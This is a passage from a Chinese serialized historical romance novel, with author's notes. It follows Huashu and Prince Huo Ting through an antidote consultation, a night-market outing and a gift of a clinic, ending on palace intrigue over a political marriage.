回到月桂居,华姝没了刚刚的精神头,一沾到软塌,整个人也变得软趴趴的,倚着软枕不想动。 霍千羽又将地契和玉佩塞回给她,她简单瞧了眼那处铺子的地址,而后将那枚玉佩摊在掌心,观摩。 是一块羊脂白玉雕刻的麒麟佩,长四寸半,凝若霜雪,背脊阴刻北斗七星纹。 玉佩似被经常摸索,通体圆润,在窗边的日光照耀下,透出琥珀光晕,恍有祥云流转。 让华姝格外注意的是,不似一般的瑞兽踏云,这只胖嘟嘟麒麟的爪下,是层叠激浪。让她不由联系到“澜舟”二字。 寓意名字的玉佩,怕不是寻常物件。 她摸索着这温凉的玉,沉思,他就这么随手给出来了么? 想着想着,渐渐眼皮发沉。 再睁眼,屋内视线昏暗了不少。落日余晖斜斜拉长的尽头,竟是坐着一道玄蟒魁岸的身形。 华姝心跳漏了一拍,“王爷?” “醒了。”霍霆将医书随手放回圆桌,起身缓步来到软塌前,垂眼瞧了瞧从她怀里滑出来的玉佩,“先前见你给了千羽,还以为你不喜欢。” 华姝低头一瞧,唔,她竟是抱着人家的贴身玉佩睡着了,岂不就相当于抱着他……禁不住脸颊一烫。 埋头羞赧的样子,引得霍霆浅浅勾唇:“喜欢就好生收着吧,这玉佩别轻易假手于人。” 华姝拿起玉佩,抚了抚那激浪纹理,抬睫问:“是很重要,对吗?” 霍霆颔首。 “那还是交由您保管吧,我万一弄丢就不好了。”华姝抬手递给他。 霍霆不语,静静注视着她。 对峙一瞬,华姝迫于威压,默默收回了手。 她双手无措地轻捻着玉佩,察觉屋内安静氛围略显尴尬,默了默:“您,找我有事?” “起来穿件披风,随我出府瞧瞧。”提及“出府”二字,霍霆抬手,轻点了点她眉心。 华姝呼吸心虚一紧。 * 已是临近晚膳的时辰,角门这条小路几乎没人,华姝出来时,马车已安静等在门外。 等她走近,马车内探出一只麦色大手,她指尖微蜷了下,将白嫩纤手搭过去,借力而上。 长缨随后坐到车辕,车轮缓缓驶动。 车厢内,小方几上沉水香袅袅,以及几封信件。 霍霆端坐于主位,低头阅览着密信,神情冷肃。 华姝不好打搅他,静静坐于一侧,瞧着车窗外的长街晚景。近日一直没出府,早间也是赶路匆匆,已经许久没这般街头闲逛了。 等等,她福至心灵地眸光一滞。 悄看回身侧。 所以,他是特意带她出府来散心的? 一时间,她心绪复杂。 这种感觉像是,偷馋被抓包的猫,不仅没被责问,还反被投喂了一条更新鲜肥美的鱼…… “想什么呢?” 额角又被敲了下。 华姝回神,见霍霆将密信一一装回信封,“您忙完了?” 霍霆“嗯”了声,不疾不徐将信封放进小方几的抽屉里,转而抬头看过来:“我这会得空,你若有什么想问的,尽管问。” 华姝眸光流转,不难猜到他在指宴席上的事。可事关朝堂政务,她有点不知该如何开口,会不会问到机密,只好轻轻摇头。 “那换我问你,”霍霆专注凝着她,开门见山道:“会觉得我可怕吗?” 华姝讶然颤了颤眼睫,明明他目光温柔,却是犀利洞穿她的心思于无形。 这些时日,他利落按住霍玄接旨谢恩的画面,总是不经意徘徊在眼前。 今日宴席,魏公公来宣读圣上口谕时,旁人的错愕震惊,与他的泰然自若,也浮现于她午后的梦里。 让她有时禁不住惶恐,好像从未认识过他。 可转念想想,他官拜正一品亲王,除了一人之下万人之上的权势和尊贵,本就同肩重担与是非。内宅尚且如是,又何况官场呢? “您也是,在其位谋其政吧。”华姝婉言道:“您为霍家带来权贵,也挡了祸端。” 霍霆闻言,没说什么,仍静静注视着她。 华姝身后的车窗半掩,有橘色余晖透过深蓝窗帘斜射进来,映亮她半边白净的脸庞,和清丽的杏眸。 那眸光里,晕染着有恭敬、娇怯、疏离,和淡淡的戒备。 有风吹入窗,带起她鬓边一缕青丝。 霍霆温凉的指腹突然靠近鬓边时,华姝不自觉后缩了下。 有些隐晦的答案,呼之欲出。 霍霆收回手,垂眸瞧着那袅袅香雾,良久,声音缓缓而起。“华姝,”他叹:“我也不是圣人。” 这话有些莫名,也有些晦奥。 华姝迟缓地琢磨了会,眼前浮现下雨那日在霍霆书房争吵的情形。 他对她罕见得气急败坏:“你又怎知我没法子拒婚?”他质问她:“因为你设想的未来有医馆,有千羽,有玄儿,有整个霍家,唯独……” 华姝倏然悟透,霍霆这是在变相告知她,坚持拒婚的初衷。 搭在膝头的双手,无声捏紧裙摆。 那日,确实是她先入为主了,没耐心等他解释,因为潜意识里不希望他能有任何的解释。 空气中漾出少顷的寂静。 祥和黄昏,日落月升,街头熙熙攘攘,嘈杂而充盈。 游思间,脸颊忽被粗粝的骨节蹭了蹭,“别想了,这事先放放。”霍霆道:“林晟到城郊别院了,随我去瞧瞧。” 华姝抬眼,“林军医配好解药了?” 霍霆:“说是有新发现。” 华姝重新展颜:“也好。这毒阴狠,发作起来多有磨人,早点驱除也免得伤及根本。” 作为大昭脊梁一般的存在,霍霆康健无虞,百姓才能永葆平安,祖母她们也能长长久久得他的荫蔽。 而她没了顾虑,也能走得踏实些。 霍霆身形稍靠前半步,侧头看了她一眼。 华姝还来不及探究他眼中的深意,他已转回头,道:“晚膳备了你喜食的甜果浆酪。” “您如何知道我喜食……”她眼眸微动,想起午宴时的光景,“多谢王爷。” “终究入秋天凉,这物件性寒不可多饮。万一伤着肠胃,回头你祖母该怪我没看护好你了。”他打趣道。 车内气氛也跟着回温。 华姝心情松弛了些许,点头道好,“王爷才是祖母心尖第一人,母子情深,满华京城不知有多少人羡慕呢。” 霍霆又侧脸瞥她,“你是不是已经喝过甜浆酪了?” 这是在揶揄她嘴甜哄人呢。 华姝转头看向窗外,装聋作哑。 过了会,马车转过岔路口,身侧的人似笑非笑地轻叹了句:“这称谓……” 华姝呼吸屏起。 余光去悄瞟他的脸色,神色如常,叫人看不透摸不准。 又过了会,她后知后觉意识到什么。 这段日子,华姝也曾试着琢磨着药理,调制新的解毒方子。 山中解毒的药材不济了,需得替换药效更强的,但随之而来的虎狼生猛般的反应…… 华姝忍不住耳根一红,难怪她刚刚盼着他能尽快解毒时,那人的目光别有深意。 她颓然将下巴搭在窗沿上,好羞人。 车厢外,长缨四平八稳地驾着马车,面上恭敬严肃,实则心思快活络到他姥家去了。 ——原来万年铁树开花,是带响的? 他转而又很快摇摇头。 不知道。 不清楚。 这事咱也不敢问呐…… * 城郊别院 天色黑透,月上柳梢,融融华灯燃起,饭厅灯火通明,人影攒动。 霍霆主动拉开一步距离。 华姝悄然松口气,温吞跟在他身后。 泛凉的晚风吹拂,脸颊的余温慢慢退散,在人前又恢复成那个稳重娴静的表姑娘。 饭厅内,膳房管事与一中年男子已等候在此。 华姝看那男子的儒雅青衫打扮,料定此人是林晟了。 两人远远望见霍霆,立即侯到饭厅门口右侧,齐齐行礼,“见过王爷。” “不必多礼。”霍霆摆手免礼,大马金刀坐到主位。 华姝和林晟一左一右落座。 这处别院不常待客,保留着行军打仗的简便习性,饭厅沿用一人一处长桌的规制。 膳房的仆从端着美酒佳肴,鱼贯而入。四道荤菜,四道素炒,四道冷盘,芳香四溢。 华姝这边额外有一壶甜果浆酪。 尤其清甜乳香的浆酪,搭配着红烧肉、黄酒酱鸭这类重口菜色,解腻又爽口,都是她的爱。 那边,霍霆与林晟把酒慰问。 她这边,不多时两碗浆酪就见了底。 等欲斟第三碗时,上首传来一声威严提醒:“等会还要议事,切莫贪杯。” 华姝似被抓住的偷馋小猫,恋恋不舍地将琉璃壶盏放回原位。 “王爷教训得在理,属下多日滴酒未沾,一时没能把持住。”对面,林晟忽然开口告罪。 华姝诧异看向他。 霍霆也瞥他一眼。 林晟:??? 气氛怎么变得奇奇怪怪,他说错什么了吗? 一股细思极恐的疑问笼罩在他心头,直到晚膳结束。 酒酣饭饱,膳房的人撤走残羹碗盘,另替换上来一盏解腻清茶。 霍霆由小厮伺候着净手漱口,看向下首,“且说说你此行收获。” “是。”林晟忙拱手应完,犹豫地瞟了眼华姝,欲言又止。 长缨适才引他到客房下榻,曾有提点:“府上的表姑娘也在此处,颇得老夫人和王爷的重视。” 故而用膳期间,林军医对华姝始终恭敬有加。 但腿伤一事关乎军中机密,总不好让内宅女眷旁听,万一走露风声,轻则闹得满城风云,重则将动摇国之根本呐。 王爷就算再偏爱这位表姑娘,也得适度而为吧。 林晟心中思虑得头头是道。 霍霆一言以蔽之,“姝儿是杏林华家后人,也是山中救回本王性命的女神医。” “……当真?” 林晟讶异默然一瞬,难以置信瞧向对面。 霍霆:“本王何须诓你?” “是是是,属下不敢。” 林晟再看向华姝,目露惊艳:“果然自古英雄出少年,华姑娘年纪轻轻便有如此本事,不得了不得了啊。在下刚才真是眼拙了。” 华姝浅浅勾唇,“是王爷谬赞了,华姝在林军医面前怎敢班门弄斧。” 林晟更是点头称赞,随后毫无保留说道:“属下此行多番走访,终于在南阳郡的一处村落,寻获医圣张仲景的一脉后人。” 华姝眼前一亮。 医圣的后人,医术自是非常人能及。听林军医说,张氏后人隐居避世多年,一直在潜心钻研疑难杂症。 他们听闻霍霆中毒的征兆,对华姝在山中所用的“以阳克阴”医治方案予以肯定,“却因中途断了药,阴阳失衡,使得暂被压下去的毒素反扑更猛,在五脏六腑占据主导地位,再用先前的药方已是收效甚微。” 张氏族长一语中的,隔空即能摸清九分症由,亦给出一记良方,“此方由十味至纯至阳的补药配制而成,药效极强,可将五脏积压的毒素一次性逼至四肢。此后每隔半月药汤沐浴,反复三次,逐次排出四肢余毒。” “只是药效极强,随之而来的附加作用……” 林晟复述到一半,想到还有个未出阁的姑娘在此处,摸了摸鼻子,生生梗住。 华姝心道,果然。 原本她抱着万中无一的侥幸,希望林军医在外游历能有新的迹遇,将那解毒配方里的虎狼药材能给替换了去。 结果,药效反而更强了。那引起的身体反应……只怕与她预想中的还要强。 若想不暴毙身亡,唯有及时纾解。 偏他身边连个通房丫鬟都没有,未婚妻也被他推拒了,剩下能为之纾解的人选岂不是…… 华姝不敢往下深想,脸颊已腾得熨烫开来。 她大着胆子瞥了上首一眼,恰与男人意味深邃的目光撞个正着,倏地埋低头。伸手慌乱地去端茶盏,差点没拿稳。 这到底是谁下的毒哟? 明面是来毒杀霍霆的,怎么处处与她作对呢? 主位上,霍霆虽不懂药理,但男人在这方面素来有些天赋。再一瞧下首面红耳赤的小姑娘,还有何不明? 他颇为头疼按着额角,全然没注意到林晟的眼色暗示。 突然被晾在一旁的林晟:??? 心中那股奇异的感觉,再度卷土重来。他瞧瞧上首,又瞧瞧对面,两人之间看似并无异样,却又好似有股暗流涌动。 他们先是同时收回目光,对视一眼后,又同时低头端起茶盏,缄默不语,动作出奇地同步默契。 这…… 啊这??? 林晟实在费解,最后不得以将目光投向门口。 长缨若无其事地扭脸看门外。 别看他,他也猜不透王爷心思。 他长缨在王爷心中的位置早被取代了,变得可有可无,微不足道,呜呜。 须臾后,霍霆轻咳一声:“别院的冰窖内常年镇有寒冰,倒也无碍。” 须臾后,林晟也轻咳了声:“洪水极度凶猛时,只能疏,不好堵。” 霍霆:“……” 华姝:“……” 林晟:“……” 膳厅又是半晌的沉默。 “你舟车劳顿,早些回房休整罢。”霍霆吩咐道。 “……正是。”林晟如蒙大赦,忙不迭起身,“属下用过膳食后,困乏得紧,就先行告退了。” 他临走前,给华姝留下张氏族长的药方,以及三本医书。 她秉着瞻仰医圣传承的心态,拿起最上方一本,虔诚翻阅。 可当瞧清医书的熟悉字迹后,指尖惶惶抖了下。 华姝看向上首时,已红了眼框,“这是……” “林晟途中偶然寻得。”霍霆行至她身侧,半真半假道:“我瞧着字迹像,但不懂医理,遂拿与你瞧瞧。” “是他,是父亲的医书。” 华姝含泪又看回去,颤着指腹,抚上些许发黄的纸张,“他习惯在药名和剂量之间,留一字空余。说这样药童看得更清楚些,免得给病人抓错药。” “既如此,就交由你保管了。”霍霆顺水推舟。 华姝重重点头,将医书按在心口,不自觉想添满多年的空缺,“王爷,只这三本吗?还有吗?” 话一出口,她便想明了。霍霆不会藏私,与家人相关的新契接便仅有这些了。 华姝背过身,咬紧唇,大颗大颗的泪珠无声滑落。 一个人在寒凉迷茫中独行太久,总渴盼更多温暖和依靠。 一具温热胸膛,忽从背后包拢而来。带着薄茧的掌心覆上她脸颊,将她按在他怀中。 冷凉斑驳的泪痕,洇湿他掌心。 霍霆喉头滚了滚,胸腔轻震:“别急,我再命人去寻。” 院落的晚风轻拂入门,浅拨心弦。 华姝伏在他肩头,软软放松身体,望向门外。月色如水,流淌着宁静与慰藉。 过了会,她和缓过来,直起身揩了揩泪,不好意思地道谢:“是我太贪心了,能得三本已是意外之喜。” 说着,又爱不释手地翻看另外两本。 烛光映在她弯弯眼角,沾着一滴泪珠,晶晶莹亮。 华姝又翻过一页,目光滞在页脚的朱笔批注小字,“这字迹……貌似也在哪见过。” 她抬头看向身侧,“王爷可知,这书是林军医从何人手上所获?”或许便能寻到更多。 霍霆默了一息,“乡野书摊。” 他道:“华兄长……你父亲年少时喜好广结善缘,这三本书许是他赠送给哪位病患的。” 不待华姝思量这两种称谓有何不同,手中的医书已被霍霆拿走,递给长缨。 空出来的手被牵住,往门外走,“又没人跟你抢,不急在这一时熬坏眼睛。” “我适才在想,是否能从父亲书中找些新法子,免了王爷解毒时的苦楚。可又一想,林军医路上必然已翻看过,约莫是不可行。” 霍霆:“苦楚?” 华姝:“……” 不知不觉间,两人行至假山。 别院的园林清幽,踩在石板路上,偶有错觉,似回到了山中的光景。 男人款步慢调,与娇小的她并肩同行也很融洽。 一行当值的侍卫迎面走来,接连向霍霆行礼问安,视线下移几寸,都见了鬼似的迅速避开。 华姝顺着他们视线低头,瞳孔晃动,忙往回抽手。 怎料试了两回,纹丝不动。 她无奈蚊声:“王爷……” 男人从容信步,“嗯?” 华姝声量更轻,“手。” “手怎么了,冷?” 他说着,还将她手整个裹入了掌中。 男人的体温总比女人要高些,霍霆多年习武更是气血旺盛,自成天然熔炉。 热意自他粗粝的指腹源源不断地传来,在少女细腻的手背晕开,晕出一派红色潋滟。 华姝整条手臂都快烧得没知觉了。 浑身感官只集中在手背那方寸之处,他的存在感总是分外强横,“您是故意的。” 她一语双关道。 故意在她犹豫不定是否帮他解毒时,把寻回的父亲医书拿与她。 拿人手软,吃……还吃了他精心准备的甜果浆酪。也不知出自何人之手,比家里膳房做的还好吃。 “嗯,故意的。”霍霆坦然点头。 “您——” 华姝气闷停脚,仰头盯视这位素以“正直刚毅”深入民心的战神大人。 雪腮微鼓,稍含警告的视线也没规矩起来,直视他,瞪他,攒起胆子用力瞪他。 晚风渐起,拂动她鬓边碎发,给齐齐整整的弯月髻平添一抹灵动的美感。 她发髻简单,只戴了一枚葳蕤的绿梅靑玉簪,但人比花娇,怎么看怎么叫人移不开眼。 霍霆抬手为她归整好鬓角,这次华姝没有躲,他浅浅勾唇:“这别院都是我的人,嘴严得很。” 月光下,他俊逸脸廓的线条柔和,眸光辽阔如深海。 最强硬凶猛的攻势,却配以温情脉脉的眼神。 深深看进她眼里,一字一顿:“慢慢习惯我,可好?” 华姝几乎沉溺在他那汪深邃的海域,好半晌,眼睫才似烫了下,眨动。 今日发生的诸多琐事陆续闪过眼前,她好像,没办法开口回绝他了。 尤其,经过马车上的那番交谈。又或者是,在宴席上提前透露有惊喜的时候。 他是那么克制又浓烈地告知她——华姝,我是因为你拒婚的,主要是为了你。 坦白而言,是有动容的。 她可以狠下心肠,把之前所有的好,都归结为他能力范围内的举手之劳。如此这般,他今时可以对她,来日也可以随手对待别人。 但这次拒婚,对抗滔天皇权,显然是令他耗尽心神,不惜放手一搏。世间真正的夫婿,或许都没几人敢担吧。 她叹,为何就是叔侄呢? 否则饶是地位悬殊,她也可以为这份灼灼真意,放手一搏。真若以后情谊淡了,就一纸和离,各自散了。 华姝垂眸,瞧着地面的碎石子,感觉一颗心在上面滚了又滚。 良久,她搓了搓指尖,话没开口,先羞红了脸。 她背过身去,蚊声,折中应道:“我、我去给您熬药吧。” 身后的声音依旧镇定,安心:“想好了?” “……嗯。” 月明星稀,寒鸦栖木。 华姝将熬煮好的汤药,转交给长缨,就回了自己房间,还是上次来小住的那间主屋,简单梳理。 熬药之前,她曾仔仔细细审视一番林晟拿回来的药方。 其中的巴戟天、山茱萸,两味药材的奇思妙用,是在她学识之外的。 趁霍霆在药浴,华姝翻看着那几本父亲的医书,正好将这两味药草进一步参透。 可是那医书摊在桌案上,半晌也未能翻动一页,思绪乱糟糟的,她强迫自己翻页往下看。 因为什么都不做,只会愈加乱糟糟。 茶几上昏黄的烛火,浑浑噩噩摇曳着。不知过去多久,预料之中的敲门声响了起来—— 作者有话说:这一章有些之前替换下来的情节 如果有朋友已经订阅过,可以评论区留言,发红包 * 当时大修,其实也是因为我写作有了新的心得与收获 很开心能和你们一起分享喜悦呀[撒花] * 明天应该还有两更~ 第38章 牵手夜游 力道很轻。 但每一下, 似乎都重重敲中她心房。 华姝指尖滞住书页,转头看向门口,不自觉往软塌内后缩了下,有点想临阵脱逃。 敲门声很快就停了。 脚步声却没随之响起。 近日秋夜越来越凉了, 不穿披风的话, 霜雾没一会就能打湿衣衫。 华姝不好让霍霆久等, 深吸一口气,温温吞吞起身过去, 缓缓拉开门。 她侧开身,等他先过。头埋得低低的,眸光无措逡巡着地板上的清明月光,不敢去瞧他。 结果等了会,门外没动静。 她不解仰头看去,微怔。 沐浴过的男人,换了件雾蓝色团云纹刺绣的束腰锦袍,墨发被白玉发冠一丝不苟弯起,丰神俊朗, 龙章凤姿。 高挺身躯背对皎洁的钩月而立, 在浅浅清辉的映照下, 显得年轻了不少。 连眉骨那道疤,都化作浓墨重彩的点睛之笔。 华姝仰脸瞧着他, 忘了挪开眼, 也忘了行礼。 霍霆不予计较, 负手屹立原地, 任由她打量。 直到,促狭的笑意从他眼底丝丝溢出,终是让华姝倏地回神, 赧颜:“王爷,请、请进……” 怎么是这幅惹眼的打扮呀? 一整套连环计用完了,又要对她用美男计么? 霍霆:“先不进去了。” 华姝:“嗯?” “林晟说,泡过药浴,会将那汤药的药效延迟个把时辰。”他抬手刮了刮,她紧张到冒汗的鼻尖,“再出去逛逛罢,省得你自己下次又爬墙。” “……” 两刻钟后,一辆不起眼的马车缓缓停在东市的街角。 大昭夜市一向人流熙攘,繁华热闹。 青石板路上灯笼如昼,酒旗招展间飘来炙肉的焦香,卖艺人的铜钹声混着糖人摊的吆喝,夜风里还浮动着一股桂花蜜的香气。 华姝掀起窗帘一角,目不转睛欣赏着 身后,“走吧,下去瞧瞧。” 她回头讶异道:“要下去么?” 霍霆笑:“你平时都是坐马车逛夜市的?” 华姝:“可您的脸……”太惹眼了。 赫赫有名的大昭战神,自打一入京,画像就在街巷间广为传颂。如今,估计夜市里一大半的人,都能认出他来。 霍霆会意,提声:“长缨,去寻两扇面具。” 车外,“是。” 不多时,长缨去而复返,挑开车帘送进来两扇面具。 一扇黄底黑纹的老虎、一扇白底红纹的狐狸面具,是那种半遮面能露出嘴巴的样式。 而长缨自己,则戴了一扇欢脱的孙悟空样式,跟他性子还挺相宜。 华姝和霍霆也戴好面具,先后下车,缓步融入夜市的阑珊灯火中。 下车时,他递给她手臂借力,然后顺势牵住她手,就变成一直牵着了。 华姝有些不习惯,想试着抽回来,奈何纹丝不动。后来转念一想,晚间的逾矩比这更甚,索性由他去了。 偏偏这人的存在感又极强,以至于闲逛半晌,她都心不在焉的。 好似浑身所有的感官,都集中在那方寸肌肤间,热热的,痒痒的。 她还没出息地沁出一层薄汗。 而旁边这位“罪魁祸首”,一路上都从容信步,闲适自得,还隐隐有一种“百兽之王”巡视领地的泰然之感。 忽然这时,“大老虎”侧过脸来,缓声问:“白日都逛了哪里?” “小狐狸”心虚地挪开眼,旋而一想,她如今戴着面具呢,又慢慢转回来,“就随便看看,糖水铺,首饰店,胭脂铺子,还有药馆。” “怎么听濯缨说,什么东西都没买?”霍霆又问,语气不明。 “……没来得及。”华姝半真半假应道:“白术来传信说福佳公主驾临,我就早早回去了。” 闻言,霍霆不置可否,只牵着她手继续往前走。 华姝心里打鼓,悄瞥他好几眼,是被识破了么? 约莫又走过七八个摊位,霍霆驻足。 旁边的摊位,在卖糖人。 摊主老大爷热情招呼,“小姑娘,买几个糖人带着吧,可甜了。” 华姝眸光微动,瞧了瞧身旁的“大老虎”,又望了望身后不远处的“孙悟空”,对老大爷笑道:“我要四个葫芦的。” 霍霆管付铜板但没要糖人,她额外分两个给长缨,“濯缨也在的,对吧?” 长缨嬉笑:“他不在,表姑娘将这两个都赏给属下吧。” 濯缨正盘腿坐在街边铺子的屋顶上,捡起一个小石子就丢了过来,“我在呢!” 长缨捂着后脑勺吃痛了声。 华姝哭笑不得。 霍霆回首,静观这一整条夜市。近处的三人嬉闹,偷得浮生半日闲。远处的百姓们成群谈笑,更远处万家灯火崇明。 良久,“大老虎”欣慰而笑。 华姝边吃糖人边往前逛,不多时又转进胭脂铺子。虽是晚间,这家偌大的店面仍是宾客入云。 老板娘介绍说,新到了一批当季的雪梨香蜜养颜膏,“秋季干燥,用这雪梨膏补水养肤最为有效。满京城就只此一批,卖空不补货的。” 华姝听得有点心动,但转而又思及,霍霆上次曾说过“我的俸禄,只给我的女人用”此类云云。 她迟疑片刻,于是看向身侧,“王……四爷,我给表姐她们也都带一份,行不行?” 也不知,是那声“四爷”唤得他眼神恍惚,还是早就忘了先前那番话,霍霆随意瞟了眼那一整排的雪梨养颜膏,“全包起来。” 铺子里霎时安静下来。 老板娘和十几位女客,齐齐瞧过来。 几息后,老板娘不确定地问:“客官,您说的可是全部?这全包起来,可得五千多两呢!” 霍霆淡淡颔首。 老板娘顿时脸上笑开了花:“好嘞,客官稍等,我这就为您仔仔细细全部包好。” 女客们转而纷纷艳羡地看向华姝,“小娘子,你家夫君对你可真好。” 华姝不好意思地躲到霍霆身后,小声提醒:“其实也用不了那么多的。” “你们几个先挑,剩下的你就赏给府上丫鬟婆子。”他道。 她琢磨一瞬,仰头望着他高大宽厚的背脊,心口微微鼓胀,“谢谢您。” 他这是在替她,去堵那些嚼舌根之人的嘴呢。 霍霆没回头,负手将她从背后捉出来,“戴着面具呢,躲什么?” 是哦,华姝被自己笨笑了。 要包好几十份雪梨养颜膏,需得耗上一会功夫。霍霆命长缨留下来等,牵着华姝转身出门,继续前行。 整条街的青砖石上,都铺洒着一层朦胧月光。 街头拐角的茶肆二楼,叫好喝彩声不断。说书人醒木一拍,惊醒了朱木栏杆上打盹的狸奴。 恰逢这时,打更人梆子敲过二更。 华姝这才意识到,出来蛮久了。她虚虚地别了下耳畔碎发,意有所指道:“四爷,咱该回去了吧?” “时辰还早。”霍霆侧头看来,用粗粝的指腹揩掉了她嘴角一点糖渣,笑说:“不急。” “……”华姝倏地别过头去。 谁急了? 她才不急呢。 她一点都急的。 霍霆失笑,解释道:“适才过来时,你不是瞧着那湖上的几艘画舫有趣么?晚间咱就就近歇在那,已命濯缨去安排了。” 一阵冷凉的夜风吹过,拂过华姝发烫的面颊,她只觉更热了,耳朵似乎都在冒火。 ……歇在画、舫? 但她还来不及细究,已被他牵着来到茶肆的对面。 这间铺子有三层,坐落在闹市转角,对面就是宾客往来不断的茶肆,位置极佳。但黑漆漆的,还是空店。 霍霆松开她手,从腰间摸出一枚铜钥匙,开锁进门,用火折子点亮柜台上的烛火。 华姝随后进门,了然:“这是您晌午说的那间铺子。” 霍霆:“瞧瞧,不喜欢的话再让人调整布局便是。” 医者本性使然,华姝忍不住抬脚,好奇探巡起一楼。 柜台、坐堂、药房、药炉一应俱全,空气中泛着淡淡的尘土味。 她没上二楼,举目粗略望去,应是一圈的单间诊室,“三楼是什么?” “留与你俩自住,往来待客。” 华姝不由得点头,这样的医馆布局甚为细致全面了。 可转念再一想,貌似哪里不对。 距离晌午才半日的光景,可见这铺子早已安置妥帖。但霍霆那会却平淡如常地宣布,倘若冯衡与旁人比试也用这铺子作彩头。 那他如何确认,她就一定能拿到这间铺子呢? 华姝凝神思忖,当时种种情景。 首先,霍霆明确表示彩头是一间东市铺子,还是三层高的。 然后,霍千羽眼神亮了,希望她赢到这间铺子一起开医馆。 之后,华姝为了让失落半晌的表姐开心些,决定一起比试…… “可是,您如何就能断定我俩会赢呢?”她仰脸问。 “我教出来的姑娘,我能不知道,嗯?” 此刻,霍霆尚且戴着面具,神情不明,却也令人沐如春风。 而后,这位“大老虎”就将钥匙托在宽大的掌心,递过来。 华姝摊开掌心去捧接,中途忽而指尖蜷缩回来,她抬头狐疑道:“这钥匙……怎么瞧着有些许眼熟?” “嗯,同一枚。”霍霆坦言。 华姝双眸睁大,如此一来,她岂不是变相收下了他那东厢房一整间屋子里的金银财宝? “之后就说过了,那屋子里的东西全与你做嫁妆,聘礼另备。”他说道:“用于重振华府也好,留着自用也罢,随你处置。” 这才是那日引她去东厢房的主要意图。当时气急攻心,等反应过来后,那堆闲置的刑具已经默默发挥完了它们额外的功用…… 霍霆仍将钥匙托在掌心,耐着性子,一动未动。 华姝怔怔盯着它,迟疑好半晌。 不得不承认,这一刻心中充满感激。 可这一整日算下来,已经太多感激,太多亏欠了。尤其那满屋的宝物,价值斐然,令人不敢小觑。 她试探地婉拒:“您适才替我打点的雪梨膏,已经是笔不小的数额了。” 男人沉默几息,沉声:“所以呢?” 华姝不禁瑟缩了下。 他却是不准她后缩,上前一步,食指浅浅勾住她的海棠刺绣腰带,夹着钥匙别入其间。 与此同时,头顶覆下来一道意味深长的提醒:“现在不收,晚间也有的是法子。” 轰—— 好似一坛桃花烈酒,炸开在她脑海。 华姝的心跳,止不住地凌乱。 怎么拿这种事吓唬人呐?她下意识抬手去冰滚烫的脸颊,后知后觉想起还戴着面具呢。 于是,大着胆子仰脸去瞪他,语气不自觉染上一丝小幽怨:“自古以来,将军不都是刚正不阿的么。” 霍霆不以为然:“晌午的时候,老师对我的评断,你不是都听见了?” 华姝抿嘴偷笑,是听见了。 不仅膳前听见了,午后送客时还小有收获呢。 魏公公走后,满座宾客都惶惶而去。唯独冯老太师一家,走得时候乐不可支。 也是不知,霍霆最后同他说过什么。 反正一直到冯老太师坐上马车,还不忘掀开车帘,对霍霆怒目而视:“这个大逆不道的臭小子,你给我等着,老夫还会杀回来的!” 惹得冯衡和蒋骁想憋笑都难。 狐狸面具是半扇样式,“小狐狸”抿嘴偷笑的样子实则一览无遗。 昏暗的烛火下,那抹笑意莫名耀眼,赏心悦目。 霍霆神色和缓些,曲起骨节蹭了蹭她翘起的唇角。 华姝愣了下。 男人指间的温度明显灼热了些,嗓音也微有哑意,语速更缓得道:“该走了。” 青石巷尾,月浸琉璃瓦。红色灯影轻摇,投下三分影,恰映少女的半面红妆。 有风拂过,暗香浮动,滚落一地星—— 作者有话说:手上写着甜甜的糖 嘴巴也哐哐炫糖 熊博士的橙子夹心软糖好好吃 * 晚点还有一更[坏笑] 本章继续掉落红包 第39章 画舫听雨眠 吐蕃和亲使团的到来, 注定今晚的皇宫是个不眠夜。 慈宁宫内,太后跪坐在佛堂,比往昔快超出了小半个时辰。 掌事嬷嬷:“启禀太后,韶华公主抄写的佛经卷轴已带到。” 太后顿住念珠, 睁眼略略一瞥, 字迹大体规整, “公主如何说?” 宫女:“公主说,全凭太后定夺。” 太后点点头, 又问:“福佳那边如何?” 掌事嬷嬷犹豫了会,“那边回宫后就大闹一场,刚刚又将晚膳全摔了。” 太后摇摇头,“难成大器。” 掌事嬷嬷:“如此这般,圣上那边……多半会对韶华公主另眼相看。” 太后:“妇人之见。” 帝王的驭极之术,乍看是任人唯贤,实则是这一颗颗棋子,安插在何处,能让江山社稷更稳固罢了。 太后阖上眼, 重新一颗颗碾动佛珠, “且看这吐蕃国与镇南王, 各自在皇帝心中的分量吧。” 东厂 守夜番子们披着墨色飞鱼服,腰悬绣春刀, 在青砖地上投下森冷剪影。 他们两两一组, 错落地立在回廊阴影里, 像蛰伏的狼。每隔半刻, 便有巡更的铜锣声穿透夜色,在九曲回廊间撞出闷响。 与此同时,茶室内, 裴夙掷了长靴,着一袭居家棉质红衣,偏坐在茶炉旁,手指长柄汤匙,闲散着搅弄火炉上的牡丹雪梨安神养颜汤。 不多时,窗外驻足一道黑影,“宫里今夜人人无眠,督主倒是好雅兴。” 裴夙浅浅打个哈欠,“天要下雨公主要嫁人,皇帝急不急的,都轮不到我急啊。” 黑影:“适才收到宫中消息,有人向圣上献言,另择一宗室女和亲。” 裴夙嗤笑:“猛虎已经都龇牙了,还硬要往虎口上撞。” 于昭文帝而言,霍霆就是那头猛虎。 可以听令为他杀敌,可以安静趴在他脚边打盹,甚至可以主动为他叼来猎物。 吐蕃国此次和亲示好,求得中原耕种、丝织、烧瓷等技艺的同时,必然会缴纳大量岁贡,进而开放边境贸易,可谓互利共赢。 因而,霍霆此举是真切地给昭文帝带来了好处,仍在展现出他的忠诚之心。 但是,他不惜忤逆圣意而拒婚,便是在龇牙表态,不准许任何人骑在他头上。 连昭文帝也不行。 猛虎看似臣服,实则野性难训。 指不定什么时候,会反咬主人一口。 黑影:“那依裴督主来看,此局何解?” 裴夙舀起一汤匙养颜汤,盛于白玉茶盅里,悠悠晃动着热气,“若不出岔子,应是择福佳公主去和亲。” 当猛虎难训时,无外乎三种对策。 宰杀之或拔其犬牙,此为下策。从此以往,没了庇护,亦会没了猎物。 中策,平时以铁笼囚困,需要其冲锋陷阵时再解开。但谁都不敢轻易揣度,解开囚笼之际,是否乃其反扑之时。 因此霍霆腿疾痊愈后,昭文帝没有直接夺其虎符,而是以赐婚的方式恩威并施。 上策,即为以长线拴之,权柄在手。 但霍霆幼年已家破人亡。霍家其他人不足以让他拼命,能担得起他弱点之人,无外乎冯老太师和霍老夫人,又都没几年活头。 是以,皇帝看似拿韶华公主这个孤女作废子,实则是为了让她早日诞下霍霆之子,来日召幸至宫中伴读,即可当“权柄”堪用。 纵使这步暗棋逃不过霍霆的眼,但自古英雄难过美人关,昭文帝是在堵那万分之一的契机。 言而总之,韶华的功用优于福佳。 